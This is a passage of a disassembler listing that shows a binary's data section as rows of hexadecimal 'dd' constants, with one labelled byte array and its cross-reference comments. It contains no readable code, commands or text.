		dd 0C2A3D203h, 0A84333B6h, 7FFA1BD4h, 37FC0080h, 68C5DFA8h
		dd 0AE07DA7h, 0F4A7B00h, 520BAB9Dh, 0BF641EDCh,	504D00BDh
		dd 6156475Eh, 1C582100h, 939F237Ch, 924848D0h, 0A9BE5900h
		dd 478A9633h, 0C1F07E00h, 82B0F992h, 7B2F726Ah,	0A2F4008Ch
		dd 0C93AA4D6h, 1700FB90h, 21665167h, 2E4F760Eh,	0E948B9h
		dd 23310C64h, 5400CAC5h, 32E5A589h, 11CEECh, 1765A7C3h
		dd 16EAF0E8h, 2A28E600h, 61BF315Fh, 1C600042h, 0C89E7ED3h
		dd 0EB003065h, 58DF12E0h, 2ADB55h, 8114FCEEh, 22A8321Ah
		dd 74633400h, 0A0885ECh, 0E6A300DBh, 4F14D06Eh,	1F02D857h
		dd 8F3E41A2h, 27C840C0h, 0B01C60DCh, 0A560D26Dh, 9EF78603h
		dd 0C04E283Bh, 33A3B3BBh, 518819E2h, 75BCEFB8h,	0C312C97Eh
		dd 0D8006B31h, 0AF3828B5h, 0D6800E5h, 8902250Eh, 18F413FDh
		dd 0F993D30Eh, 366C0019h, 9167C361h, 656E00ACh,	107F5B75h
		dd 3A95A0A0h, 69944C00h, 2E3C8E96h, 0D6A43F44h,	0EC63FD14h
		dd 0DDA73700h, 74030E14h, 0E099EF00h, 90C5C9Bh,	82BA07EBh
		dd 3CD2E2h, 0C9DB8D22h,	0F315BE00h, 903E4294h, 0F75900B9h
		dd 7B0B62D7h, 33006B29h, 0EC06D14Ch, 1BE360h, 1E41A101h
		dd 76FAA0E5h, 14C50B5h,	14C6B10Eh, 0FC20B517h, 0A600E5D1h
		dd 69897D72h, 5838DDDh,	7F695F5h, 6B5DC061h, 0B1F162Dh
		dd 0C58065CFh, 71025C33h, 55220068h, 3DDFB939h,	0D6009099h
		dd 805BDA5h, 4C6D4047h,	0A700F02Bh, 64F0FA03h, 0A91D7A8Dh
		dd 3F808078h, 29FC43ABh, 351700C0h, 0FF7C262h, 9C908654h
		dd 0BC5B200h, 5A1DAF59h, 3D7B57h, 77F91BB4h, 0D34B22F5h
		dd 709B698h, 205587E3h,	435F245Ch, 73127DC3h, 0D5FE10h
		dd 7BC80183h, 0E89F965Ah, 24B9E900h, 0BFB4B50h,	0B45C2484h
		dd 0F4803FD4h, 0A52DB878h, 4B18524Ah, 1A595F6Eh, 1F6C188Dh
		dd 94EEF046h, 0F400357Bh, 4D481D38h, 373C5Fh, 1A6514D3h
		dd 0A14A104Eh, 7EAA680Bh, 364A0005h, 38B95B8Ch,	0C198B73Ah
		dd 4E5658FAh, 0B318D500h, 88F760D4h, 0A5C607C8h, 3135ACFBh
		dd 30F8B1ADh, 0BF5033E4h, 2C9A96F8h, 0A45E1903h, 0F065E3FCh
		dd 32D552h, 0C5BEE1BCh,	6A142445h, 0B8C0762Eh, 2BD99100h
		dd 65D151h, 0C7A7EF0Ch,	0E6BC41BBh, 0CB6CA900h,	168108D4h
		dd 34ED0002h, 9971AFD8h, 55249B2Ah, 65003687h, 0C6B40414h
		dd 0D07C0122h, 4749E109h, 25FC44Ah, 0FBDEFC00h,	0BF2AD54Dh
		dd 505C3FEBh, 0F3453180h, 1A051658h, 7033C607h,	0A120E846h
		dd 0E3632Eh, 0F8EFCEA7h, 0C42218DCh, 3BD19E00h,	7023ABDFh
		dd 1E4F019h, 42249FD7h,	0E876E136h, 0E0002BECh,	73E50A0Dh
		dd 8DF892h, 0EA685A84h,	99B28A88h, 6A5C1A07h, 30D456ECh
		dd 5740A580h, 50A7006Ch, 0AF2CA21Bh, 0D57D8A27h, 97751D14h
		dd 0E46124ACh, 0FDB79AE0h, 6B4A00AAh, 0A3C1607Ah, 910E9299h
		dd 404F058Fh, 0E2F2C81Bh, 3449856h, 6FD20C97h, 0E0797DF8h
		dd 2014DC00h, 39CAB142h, 4D94C58h, 8FD7E701h, 3E32993Bh
		dd 0F970F0h, 0B08E769Bh, 7DC1BF2Bh, 417FD7ECh, 5001D10Eh
		dd 0C408C00Eh, 18D97BAh, 1B18B1CCh, 0C9200F16h,	454430C6h
		dd 39DDFB18h, 3F68FC20h, 1700A915h, 0C2CBD1E7h,	8C03E2D0h
		dd 0C80AB99Ah, 213860EEh, 3C4C36A3h, 935DA71Eh,	48B3C140h
		dd 984F79EFh, 0D0DB0039h, 97892815h, 400CBAFh, 66AE8C41h
		dd 0E7D219h, 5D953663h,	1D150AD6h, 86763Eh, 0BEFDCD67h
		dd 43DC0BDh, 64BFC344h,	88608283h, 0CFE4CF40h, 0E3DC4805h
		dd 0BBC06D14h, 8270A9h,	3910A4E7h, 40554F0Eh, 8359B500h
		dd 47C7D763h, 0A2F4DEh,	9DEC0B11h, 0A2944D4h, 0F1010F7Fh
		dd 0AA87EE62h, 0BDD414CFh, 63FB03DAh, 8B4F4CB3h, 12B71800h
		dd 0B96B4547h, 41B000BBh, 1BE69D99h, 3A00E180h,	0F6FB0C1Ah
		dd 7FA8E91h, 0BBFC709h,	0A654D0EAh, 0C00FCD0h, 0BA4E050Ah
		dd 1FA9D9h, 75E5067Dh
		dd 4B4A5F3Eh, 289A561Dh, 2BF21443h, 525D8877h, 0E9FA43h
		dd 6B0475E4h, 0DCF7FDD0h, 3DAFFF00h, 0F6FE57Dh,	34F8BDh
		dd 4510D95h, 4CF9507Eh,	0BB01EA1Ch, 7481807Eh, 90E206F0h
		dd 28995853h, 73597B00h, 0C3F59782h, 49322400h,	54705DACh
		dd 1EAAFC80h, 40218F43h, 0D4A7A4CDh, 0F400FCDBh, 7F3F7028h
		dd 0B45FF5h, 0A944581Fh, 2D46E56Ah, 29CEA03h, 0E0217AEFh
		dd 371FF85h, 3F6DF1F4h,	1B8DD88h, 0D33E0D10h, 8702007Fh
		dd 0BF8D185Ch, 332E00E3h, 0DA80FCFh, 0A303F083h, 662B5774h
		dd 0AEB2C0DDh, 0FFA3F9Ch, 996FAC80h, 3E7D1D5Bh,	0B5CF9200h
		dd 61D2752Ch, 0A79430FAh, 8CB1D720h, 7697881Eh,	3CC34D07h
		dd 1ADD3FB1h, 0C4BCE4h,	75BB351Dh, 0F92F51CDh, 0F456CB1Ch
		dd 0D42E8FC2h, 0B8C4EBB6h, 603BCDh, 90616EB3h, 5DC1ABD9h
		dd 8BFFAE02h, 6085C5F7h, 3002FA17h, 2A41FE57h, 740F75F4h
		dd 0EE89C9FFh, 58D66024h, 30111E0h, 3AF9546Ch, 898E805h
		dd 367688B7h, 0A033FF00h, 7CDCBD86h, 46E00EEh, 0E38FE501h
		dd 741202F6h, 0FC80C35Ch, 0E2EEA550h, 0A8D160A0h, 1215DD3Eh
		dd 171DC909h, 551464C2h, 30D1181Bh, 15D4DDD1h, 8AFF0E7Fh
		dd 7CEAFC8h, 0DEBC401Dh, 69DBBE34h, 1E02D873h, 309E5B80h
		dd 0C378C342h, 0B682D027h, 88BE0028h, 36AE11E7h, 0EE7C3E46h
		dd 9A038C7Fh, 5E092466h, 0EAFCF085h, 4F33CBDh, 25EFE707h
		dd 6167003Fh, 1E1FF9C1h, 0E5000F2Ch, 76835827h,	0B6B41E87h
		dd 4C24E15h, 54E471A0h,	6F1F63A4h, 0D99FBA42h, 1B381900h
		dd 4860AE6Bh, 0BE1E427Ch, 0C887524Dh, 8B00DB1Ch, 4A2AF3E0h
		dd 3DC6A16Eh, 0D8006F38h, 8E7E650h, 5800A362h, 0FCDE525Fh
		dd 0DD057Dh, 0A127F34Bh, 430DD43Dh, 0B8C5F600h,	9EFC2476h
		dd 0A530036h, 0D9F938D0h, 930E1E26h, 0A18907h, 3A239741h
		dd 0B8AB0022h, 118DA895h, 0FA05CA87h, 7BA772D2h, 210654C0h
		dd 0C8B2C9h, 8C836101h,	0C5204F1Fh, 8481633h, 0D6210002h
		dd 0A9408354h, 0C30136AAh, 7EA48908h, 1BFCE5F5h, 4510001Fh
		dd 0DF867DD7h, 6E2AD8CBh, 1501FCB9h, 0C962898Ah, 3020168Fh
		dd 4E08C985h, 92804C60h, 1CB18903h, 0D0286ACCh,	8990347Ah
		dd 0A279CC73h, 0F4AFB80h, 0A05E4208h, 0A1C8C282h, 88C3BF07h
		dd 64180F9Bh, 0EA81CBE5h, 396A99B3h, 0F240094h,	80BEF43h
		dd 9B619A5h, 81980880h,	42114921h, 2ADCE479h, 0A98A0433h
		dd 0EC15317Bh, 0D6860238h, 440BB4EAh, 0FCE30068h, 0F840CE6Fh
		dd 4260AFACh, 31A0B519h, 35BA01C2h, 7BA62B03h, 38396Ah
		dd 9DAC9077h, 30D33F1h,	55B75A86h, 700092CFh, 0AD566C17h
		dd 26DDF3C3h, 142EA4CBh, 0C801ACA8h, 2577D10Bh,	0AE41E816h
		dd 6DE57300h, 5F5A8BBCh, 74AB1E3Dh, 1A3680A6h, 0C460C50Bh
		dd 0B2F9920Ah, 0BC009315h, 71CD1172h, 1F6D0E32h, 2020DFB0h
		dd 0FEF31586h, 476E3Eh,	0E34A19D5h, 326AF8C3h, 0D910D2E1h
		dd 37C3049Dh, 0E0DAEB7Ah, 13E4E71h, 0AC46E97Ch,	0E84CCC67h
		dd 0F0183E2h, 0C24937E0h, 9AE8D024h, 287A642Ah,	0CE682008h
		dd 835810Eh, 142E442Ch,	89D1FC84h, 20D90811h, 70207D32h
		dd 5520FB6Dh, 40E63DF8h, 0AEAFD600h, 0F05D134Dh, 6BD3500h
		dd 0F8F973A8h, 928100DFh, 3D8B24F3h, 4C095C4Eh,	571C0C7Dh
		dd 0C969CC80h, 4D005A92h, 17B4309Bh, 9E1E4Fh, 8EB5F729h
		dd 0BC88C899h, 26D7180Ch, 1C160A81h, 0C0609A53h, 0D1CF2446h
		dd 0DF0C27E8h, 0EC68C74h, 65B9042Ch, 8096E7D7h,	5D1B2B51h
		dd 5E9C838h, 0D3736B23h, 0B47B000h, 1E13937Eh, 0E36797h
		dd 8CD83103h, 9618A7B1h, 64607854h, 119F00A5h, 0BC178107h
		dd 0CD00B0A9h, 0BFD4A0FBh, 0A8C5EB34h, 2E4061D8h, 3C2391B3h
		dd 0E5FDA280h, 77EEDE6Bh, 73D6AA00h, 24933EBFh,	1BEF0284h
		dd 0BE88C36h, 45508880h, 8379BB94h, 2874C100h, 7167D1F8h
		dd 2D9100BAh, 15D22344h, 0C0A0C05Bh, 0E400A5D5h, 0E1BC6B27h
		dd 31F8196Fh, 0D10625Eh, 0A0A7C878h, 3F541703h,	98776579h
		dd 2E341h, 39052F2h, 48B7DAA1h,	59AB9A00h, 226AAEF6h, 3E70001Eh
		dd 3C465B33h, 0AA4CE277h, 0D7A800B8h, 9547DBB4h, 60BD00A2h
		dd 0ED2EA166h, 0D174078Ch, 2102CD00h, 7B42434Bh, 483600F5h
		dd 0E42BC7C4h, 9200F3C9h, 99D5BA47h, 18DFEDh, 5A459614h
		dd 0B74F071Bh, 11DA9801h, 0C28AEE19h, 1DE2ECh, 800BBEE3h
		dd 8F18FD72h, 5C127800h, 62D33AE9h, 9A1E064h, 0F38EA344h
		dd 7A199402h, 20AA2EC0h, 0DCE358h, 7782021Bh, 0EEC84DE8h
		dd 0FC160996h, 480024D7h, 27EDB61Eh, 5F72A900h,	189AC703h
		dd 3C1378BBh, 0B6039254h, 0BC2120A0h, 0DDDA0490h, 0BD344D00h
		dd 7C831249h, 1CF07AA9h, 402155ECh, 91B439C2h, 10F9DEBh
		dd 323D64h, 1B47EA4Ah, 1D8FF8FFh, 80B1B99Fh, 0BA7298F6h
		dd 0D7E81A73h, 0D112FC92h, 80432625h, 0B3BAC798h, 0B12AE0EFh
		dd 0FE200762h, 0E09D0850h, 0C3236E0Bh, 0DE367905h, 0F2873D99h
		dd 0FFDDD750h, 0E0AD5084h, 0B08B0018h, 0B9CA6DFCh, 0EE13E32Ah
		dd 0C7005D21h, 0D8EB4704h, 0BDFE14h, 387865AEh,	0E58F80ABh
		dd 9200A976h, 0FF4805F2h, 60C4DEFEh, 15A8188Eh,	0F3028583h
		dd 61DEA40h, 506B0094h,	7C17425Bh, 0CF00775Ah, 0A86A4BACh
		dd 1E35E260h, 80BD31A6h, 38EE823Eh, 4A001B97h, 4FBA70DAh
		dd 0D81EA0h, 1161C78Dh,	0A499904Bh, 93BE7500h, 3860B15Bh
		dd 0DEB907BFh, 0B0E4FDE0h, 0D4A4C095h, 1E7ED73Ch, 0CB42969Ah
		dd 60A3DA82h, 70C0F28h,	762925C6h, 0BB5FB07Ch, 2B029F3Ah
		dd 0B815A07Dh, 46CFE240h, 7C470038h, 0F580580Fh, 4A00F6DFh
		dd 2F67A3ECh, 1747186h,	186F829Bh, 0E829FFA9h, 4872E2CFh
		dd 57059700h, 5FD12EAAh, 0C2700980h, 3E0389CAh,	0E887856h
		dd 0D207A95Eh, 2DA8E9D1h, 0BB4EA0EEh, 3DC5FCAh,	880E2835h
		dd 79F0ECF5h, 785C46ACh, 397C01A2h, 6B4F2081h, 806830h
		dd 0E47215D3h, 0EC669C17h, 801E9E3Dh, 0C64E91C9h, 1D1C86BAh
		dd 0AA84D8h, 68F2B7B5h,	0EC0FDB6Bh, 403227BDh, 0A0C0B9EEh
		dd 302A1666h, 0E7A500ABh, 1719F9D2h, 0CA22FE0Eh, 0AD15E7E9h
		dd 7CA6D370h, 0F0950705h, 807A0A6Bh, 26992703h,	0D42A7E00h
		dd 45E2BE6Ah, 5EFC007Dh, 55CDBDD1h, 600713ABh, 331DB36Ch
		dd 4E7E9D00h, 0BFD30069h, 675EF190h, 490EC9CDh,	0DDDD2B42h
		dd 0C0A1960Fh, 0E129F947h, 2A8000D4h, 220A0EBFh, 0B01CCDE2h
		dd 3240951Fh, 5590278Eh, 44E0006Eh, 0CB71B958h,	88E626D5h
		dd 0B0B38900h, 71C02C4h, 95783FA7h, 5A565E02h, 1B402FE3h
		dd 0C2007452h, 0A8EC90Bh, 7EC3F219h, 0C8EC2Eh, 97261EBAh
		dd 0AB36DCFFh, 0D6532201h, 0AC78E1C9h, 4C2008CCh, 6B1DDB40h
		dd 0C861C104h, 60236313h, 8F000604h, 0C4B4DD99h, 1A185D2h
		dd 0FCCF9135h, 0F131A5AAh, 0C0637182h, 6A01344Bh, 0E27256F5h
		dd 0BBFCC206h, 0F1493975h, 0C5FB1C01h, 6027EB2Eh, 0DD0B8864h
		dd 0DB9DE4h, 46065B28h,	0C6DC0915h, 6E89B37Bh, 0B16F2080h
		dd 11008277h, 3DDD23F8h, 31DC0Bh, 0DE22BE7Ch, 0B07EC7C5h
		dd 0E1523705h, 6CC06586h, 18DC6Eh, 0D7613CE2h, 96AE7F16h
		dd 0EC53D31Ch, 0AA2A1FC0h, 26D8E5A0h, 8190B7F4h, 14A6D52Ch
		dd 5367E06Fh, 5CE2F00h,	0AB41C61Dh, 9C1F4C61h, 1E485D00h
		dd 4B3736DEh, 9B59EE03h, 95F0CE29h, 5839C87h, 5F5DA9AFh
		dd 314C8h
		dd 8F1FC52Dh, 9231CEAh,	0DC28CF60h, 0B9AB7Dh, 0E8058E10h
		dd 1CF60A46h, 3E18830Eh, 470806Ch, 8C5AF9h, 0E71D8B78h
		dd 2912F0D0h, 4A268713h, 0EC7FED00h, 6B73EDh, 0FE44F5B0h
		dd 37958D23h, 566E0800h, 1F5911D4h, 0CFA70079h,	6122617h
		dd 503FED4Ah, 32D1805Ah, 2C0563E6h, 5B3001A0h, 5E230151h
		dd 0EBDC74E0h, 49D7EF13h, 0B7B4E80Eh, 55682821h, 0C1389800h
		dd 2ABD2500h, 0A8FC6347h, 6028584Dh, 1C0A7600h,	5B363D4Fh
		dd 8F835D02h, 0E48A2A0Eh, 107900A0h, 68216F28h,	0D900F543h
		dd 80AF7226h, 0F04267h,	0B874A140h, 0A96DFA2Dh,	4652612Ch
		dd 657A4500h, 0CCDA99h,	0BBC92F1Dh, 0AC425787h,	4661F800h
		dd 97198016h, 92F6029Bh, 3BDE9649h, 20B553E0h, 0A41F6C90h
		dd 5B47DA9Dh, 0F470728Dh, 1C760A85h, 9FAD19F7h,	75FC47B4h
		dd 0B297501Fh, 0D1002CFFh, 0E0C956C0h, 2DD388Fh, 1CE51947h
		dd 0A85063EBh, 0AF097409h, 65A900F1h, 1DC8795h,	0B26FD125h
		dd 0E8347785h, 3E06643Bh, 3255F02Ah, 9A300BEh, 2BC59EB4h
		dd 9DF6797Ch, 35030090h, 0EA0EB176h, 2D100092h,	383A0175h
		dd 0E200F9D5h, 0B0D0281Fh, 0E29C89D7h, 710B065Ah, 1C3C688Ah
		dd 0FCDCF01Ch, 54367A40h, 670EBA98h, 6017726Eh,	0A190349Fh
		dd 0DBB84B14h, 9EA800F8h, 73CB7628h, 0CFCE149Bh, 7F24E19Fh
		dd 59840F1Bh, 0C0C8B640h, 720155EFh, 0F31EE4DEh, 0EF305244h
		dd 7AFCDAh, 174FE1A0h, 95BC6AFCh, 0C5512A00h, 33D12BC1h
		dd 427A000Ch, 6C1A5D63h, 0E303EF80h, 3576D7FFh,	8AA000B9h
		dd 0CEF3EBF8h, 240302F7h, 3FBE970Bh, 90B3E877h,	0BBCF2C60h
		dd 800C2651h, 10A83134h, 0E31CF4F9h, 5D007CFCh,	735E6361h
		dd 8199004Ah, 0BC1618DBh, 7E3FDA23h, 101A360Ah,	0A7453851h
		dd 0DBF22600h, 79DF52BBh, 6A73D800h, 0FEA16271h, 2795032Eh
		dd 6330D47Fh, 0A2F941A0h, 70320A3Ch, 3BB47700h,	0E683849Bh
		dd 0A4D2002Fh, 0FAD9745Fh, 460090EBh, 0A92EBC04h, 17A868h
		dd 0EA89AF67h, 16AF49Ah, 0DAB0BF00h, 92B30D07h,	2ABA00EBh
		dd 0A75C7DDh, 3D005D16h, 0B5D69020h, 7A12DFh, 4F659EF6h
		dd 1A3294C3h, 420037B8h, 673BCD6Ch, 0DB21C5h, 23FDC4F8h
		dd 0A65066E0h, 12595E00h, 0D555A088h, 0B54D071Dh, 0E3B728B0h
		dd 0C0873801h, 9D9F8C1Ah, 2C0184EAh, 27DB88A4h,	5CCD691h
		dd 0E1D300A3h, 210D40EFh, 0D1727B51h, 18479A00h, 0AFA9B62h
		dd 0FF302658h, 0CE338018h, 249AE663h, 8037873Ah, 0F36D86FCh
		dd 7B6FC3h, 19A6B408h, 2F54D12Ah, 0C0D79C00h, 0B21AD5CCh
		dd 4F130084h, 0FE2292B4h, 0BCF6A304h, 5C39567Dh, 0D36380FBh
		dd 1D3BF65Eh, 0F11500C0h, 0F58ADD2Fh, 660DEE2Bh, 10C20EC9h
		dd 3F127DE8h, 4A00C7A4h, 1AFC0C93h, 0F30001C5h,	78D7808Ch
		dd 0B0C9AB14h, 2F491FCAh, 0C0261FB1h, 0C312A55Bh, 0C401DA44h
		dd 6ED1AD59h, 0FEBE2A3Bh, 330E2Eh, 31FF560Fh, 0CF072914h
		dd 0E45CBAFDh, 0EEC0F0D7h, 0C0BBBh, 83950484h, 6A8EA5D7h
		dd 412FB900h, 863D5FC6h, 5BD8005Dh, 0F4D124DFh,	3A484498h
		dd 271E0031h, 74650653h, 0D4750E19h, 0EF20F5EBh, 0A68218A5h
		dd 39012B00h, 29A63DAh,	0FFE2EC79h, 605F9F0h, 6D2046F7h
		dd 0A9E4D034h, 0DF1CB80Bh, 9DD80073h, 7D34C7Ch,	140A2202h
		dd 0D14DA040h, 0A63918CDh, 0E22F8B9Ah, 0A25D00D5h, 344F9Dh
		dd 0F2545CE3h, 29EB9E27h, 0F9B05550h, 1A07B507h, 0C0DFB088h
		dd 3A8FACF2h, 0B871003Ch, 6856A32Fh, 57001737h,	6C09514Eh
		dd 0AFC156Dh, 0EE9D992Eh, 82B501B4h, 40741E84h,	150B40B0h
		dd 0D02E3Ch, 0F7D19FA4h, 126E8236h, 4369BDh, 0E4A983E8h
		db 23h
byte_520045	db 27h,	0, 15h		; DATA XREF: ___:00438120o
					; ___:00438138o
		dd 4022CCBh, 372815Bh, 0AF356CD5h, 3CA9AB87h, 0FB1360D3h
		dd 5FB24804h, 4780E96Ah, 9BD240h, 6F2D862Eh, 68902C16h
		dd 5900C472h, 7E83340Eh, 0DEFBA4h, 0EBE21928h, 81F7498Ch
		dd 0B900DF7Ch, 26AF4C03h, 67D080h, 0A8ABFB06h, 18EFC397h
		dd 0B012467Eh, 0AC00938Ch, 796D0B95h, 0BFD90BABh, 0DA812F7Dh
		dd 0E8210EAFh, 500DD6Eh, 32B4F0C1h, 2F38614h, 0B8BA37A2h
		dd 848074B0h, 0D6ED960Ch, 2871DFF6h, 0F767F200h, 511EEC90h
		dd 0FB160374h, 86B2E329h, 27342888h, 0C4592300h, 0C76D7845h
		dd 0DFDD1849h, 0C9811833h, 904FFD00h, 7572D67Bh, 0DB1100F3h
		dd 0EA2F94D1h, 0E5009EA7h, 10D50BE1h, 281230A5h, 1DF84761h
		dd 830A6AA6h, 5AEA703Ch, 9218F0E8h, 0F0B10E30h,	2D4DE19h
		dd 0CA324214h, 0A448B847h, 4D0B5CA0h, 80B2BF9Ah, 4110236Eh
		dd 0B33B0AF3h, 0FC7230h, 1EE095EFh, 92000593h, 4CF5830Fh
		dd 8AD799h, 0BEA069C3h,	506E8DF8h, 0CAD770FDh, 35D28E01h
		dd 0B433B764h, 2A3AD0h,	509E9470h, 86A04595h, 0FD441300h
		dd 0E6E2201h, 0F7810002h, 0D0EE87D7h, 0CC004372h, 0E5FE2C7Ch
		dd 2813D1F4h, 0FB658FAh, 0F9CADF54h, 0AEAFB0E0h, 0C7757527h
		dd 1948CB14h, 0E83200FCh, 0DDA2F16Bh, 0DA0C0096h, 0C094267Dh
		dd 0FC007190h, 0F3041801h, 0ECB5C348h, 0F23C00EAh, 265619E5h
		dd 7072B25Fh, 2A0E8CFEh, 80102DB1h, 0C847F387h,	11B00D4h
		dd 37E29402h, 8E00EE13h, 0F5A9CF32h, 0CC16FD8h,	9DB3416Eh
		dd 0DE037412h, 9AB43667h, 0D3C28064h, 82F41F15h, 376E00C7h
		dd 8668D8FDh, 1E8DE301h, 730129B9h, 0CE66BC40h,	12620010h
		dd 0BE5950ABh, 991DACB5h, 43C0A778h, 0F2877E96h, 540F0084h
		dd 10D6A620h, 9AE2BAD0h, 0BFCBD900h, 8FEADCD3h,	0A577571h
		dd 4D2962D4h, 9E1606CBh, 0AD03E08Eh, 1B30831Ah,	84BAC33Ch
		dd 28ED7880h, 58A200E8h, 0AEACEC07h, 4218E2F6h,	0A620AFBCh
		dd 34A1019Dh, 76D6C6E5h, 862700Fh, 45209906h, 3F88CFABh
		dd 0CCBDE52Bh, 0F4E23A83h, 7AB03643h, 0E0009AEh, 0F6BCB1BBh
		dd 0E0FE02h, 0FFD0E656h, 6FD9A87Eh, 1BE84107h, 4FD08127h
		dd 0E4C85Bh, 0DF29BB43h, 7D3720D2h, 1A26B503h, 0C86FA999h
		dd 124364FDh, 40914279h, 27192F7Ch, 5400B57Ah, 0FF6CB45h
		dd 0C18D20h, 0FFC3D74Dh, 12931A09h, 54005277h, 4CFE795Ch
		dd 1C2329Ch, 5725759h, 0D04DA14Eh, 0FEA054D6h, 760F10DCh
		dd 20EEC8D2h, 82ABFE9h,	7A2E1352h, 0C2B00056h, 975F1349h
		dd 0BABD5A13h, 348FA801h, 34605136h, 28531CA9h,	0FA61C0FBh
		dd 5AC1947h, 361F5576h,	0E340F09Dh, 3D4B9E12h, 841F1E28h
		dd 0C7D4401Bh, 8E1A67A1h, 0E3F3300h, 2A5AF5E1h,	0EB323EF8h
		dd 6CED120Ch, 4F00A2A0h, 0C9D4287Fh, 7D499D77h,	9B8E2h
		dd 174C577Ch, 0ECCFBB83h, 80D1853Fh, 0F9BC4B23h, 0FB339FEh
		dd 8C8715E5h, 2BE09740h, 0D800A4B4h, 9BEBB89Ah,	0FD3D8Eh
		dd 0BE2641F1h, 65B5C975h, 775FDB03h, 0EEE020h, 0A3B98049h
		dd 181AE73Ah, 0EA1DE203h, 0C01B23D8h, 24217C8h,	6E8914F9h
		dd 0F6E0DD0Ch, 0DA0FF474h, 0A08C8351h, 0F7FDF5C2h, 0ECA1099Fh
		dd 580F8F01h, 316933A0h, 0E9795E51h, 0D9664600h, 3DA1553Ah
		dd 0F8AFFCD7h, 4C623DDBh, 9D6CCC8Ch, 30004A11h,	3C99F6E6h
		dd 0B16ABAh, 34CDE7EDh,	0D1B2D86Fh, 56A6FE01h, 0AB7E2238h
		dd 5A4F8600h, 2A54FF1Fh, 0AA9F515Dh, 0B14C0607h, 31E08347h
		dd 70D6A828h, 0C5E82Bh,	7AC2DBBFh, 0DE3B4CA9h, 809BB41Fh
		dd 9C6F803Dh, 92C47EBh,	61AE0C2Eh, 836872E0h, 0B9B3C20Fh
		dd 0D30FFFh, 4DDC8E77h,	2A6E004Ch, 2BC7A820h, 373107B9h
		dd 593379AEh, 0B6D04840h, 0DF640356h, 38C5E7F1h, 0B112CA0h
		dd 0C8582203h, 0ABB278F6h, 16D0883Ah, 0E18C0038h, 41959AA4h
		dd 15F60D61h, 0A6574C03h, 0F3A5F7AEh, 0C1F8F8DDh, 0A3170760h
		dd 208C3BA9h, 0AC7E08ADh, 0DA012FE8h, 99719325h, 0F6F08B09h
		dd 0F4CF0007h, 106B3E80h, 0BF1ED292h, 0A90339D5h, 0F088B62Ah
		dd 1C070E0Ah, 409D2896h, 74CF6AAFh, 0EB007B79h,	5106936Ch
		dd 3405C534h, 7EE183F8h, 1DDE1804h, 24F911h, 0B1113075h
		dd 0B3C10B9Eh, 0EB0052F0h, 2658BF14h, 1FFBA0B0h, 1F7A7365h
		dd 0C75C00EDh, 13CAB10Fh, 0B4303376h, 0E1925988h, 6BC5310Ch
		dd 8F41650h, 18A91961h,	0D4382925h, 0F700C4C5h,	0E4172A78h
		dd 92C76Ah, 4B51A87Bh, 0F5A5F7Ch, 146F8B06h, 2838841Eh
		dd 20608789h, 0A33AB2B7h, 19C8B072h, 2C9669h, 0C062A987h
		dd 275F2292h, 4D2070A4h, 40A50F9Dh, 0F9400AF3h,	0A62E08DAh
		dd 810FE8C8h, 928F1EBh,	31C8823Ah, 444DAE6Eh, 1A7C0530h
		dd 3088970Bh, 931D0C4Ch, 789FCC01h, 77CF1AB0h, 14BD6824h
		dd 944EB26Dh, 17262F81h, 0FFA9831Dh, 18FC98F5h,	59730838h
		dd 7D14ACDAh, 0BAFCCCD5h, 0CFE0447h, 10A790DEh,	406749D2h
		dd 0CE07554Ch, 4032F95Ch, 0DF92C35Dh, 832D363Dh, 0CAD4D238h
		dd 862811F6h, 6013110Dh, 94C4123Bh, 4201D120h, 5AB108AAh
		dd 31FE08BCh, 90CD0B88h, 6EE4829Eh, 51DA06BDh, 0EE9D6000h
		dd 93D40C59h, 16278C0h,	0F20B50E3h, 815CC695h, 0DB18D721h
		dd 0BDF0F479h, 993D164Fh, 0C51375h, 9242578Fh, 24008761h
		dd 52EB05D8h, 28118CCh,	0F83BCFC0h, 0B3C21177h,	6FC5BF8Fh
		dd 901809Fh, 0B8004EB9h, 5CB2B1CEh, 0B049102Eh,	5E63011Ch
		dd 500AEB69h, 8ADD6001h, 0ADCEEE00h, 5849C839h,	23430088h
		dd 50E6A4F5h, 0C41C7A3Bh, 5FC3EF76h, 0A0BE6879h, 3D11B1D7h
		dd 0A9004713h, 0D9F5CE2h, 0D8004B19h, 0B049F2ECh, 0E46FB4CDh
		dd 0E0D0504Fh, 0C9940068h, 712663A9h, 78B8D552h, 0A0006475h
		dd 0B7499B27h, 18EDF4AAh, 909FD2C9h, 0AC2EE992h, 0C20193BCh
		dd 0AD51B503h, 77100020h, 1E787C99h, 9EA36FA7h,	8A6040C3h
		dd 0DE1E3161h, 2D93D500h, 4B77187Fh, 44620379h,	14E6DF96h
		dd 0D4A002F9h, 0A300EEAEh, 9A2D7A94h, 38FCBB8Bh, 781A179h
		dd 0E919273Ch, 3303C4FBh, 80A6AC3Bh, 1CCCB78Dh,	6624D3h
		dd 3619A0DEh, 90185A7Ch, 537BDB03h, 98456F92h, 754AFEh
		dd 48334054h, 0BC6EC53Eh, 70C8181Fh, 25215380h,	0B06B55h
		dd 0AA96224h, 0F18BB546h, 37353E1Dh, 0F51F8Fh, 0C57C56BCh
		dd 0D0C9393Ah, 0CE8DDE00h, 0FCB898C1h, 0B3B46900h, 68DD2CB1h
		dd 0EEE200EBh, 156A73E9h, 3100C3FAh, 43DAAB32h,	1FD9A12Eh
		dd 49DFE18Ah, 0CC8011F4h, 0AD0454C5h, 0F6BFF5Ch, 0D9B485h
		dd 0A620F8B0h, 21D66087h, 0C3F9D542h, 0E66E150Eh, 0FB96605Ah
		dd 701FC9h, 0CD6D5BE4h,	3DC87CC4h, 5417703h, 9083D984h
		dd 0EC181h, 357D7AA9h, 0E93873FEh, 0F650B571h, 0E10FC5CCh
		dd 0FD954Fh, 67ACD7EDh,	612500CDh, 0C8D468ABh, 0F4008F74h
		dd 4B059C41h, 0E09F79B8h, 34AA0095h, 0B2D00178h, 46280B39h
		dd 0F2128A05h, 4002BB9Dh, 0CC9AA7h, 59518910h, 3C244609h
		dd 60300FABh, 2B1FF695h, 631D0079h, 0A7487518h,	0D903EA54h
		dd 0B9F047Fh, 434FB007h, 5A9C01B3h, 0ADE9A740h,	167D893h
		dd 6FC9A600h, 0D681EE4Fh, 47040099h, 13D9165Bh,	261DAAF3h
		dd 3807B590h, 0DD8F6DCEh, 1DA423C0h, 28A1C1h, 408A9178h
		dd 0D258FE4Dh, 0FFF84318h, 80DD4F78h, 96007824h, 649EDAF2h
		dd 48D082CCh, 0CA00DDC2h, 0B7CFE607h, 1100C4F1h, 0E5AF1DE0h
		dd 0E73A23h, 0FE813D8Dh
		dd 950C2EFFh, 607DC701h, 4E3BEFDEh, 5C4D3CC4h, 901C292h
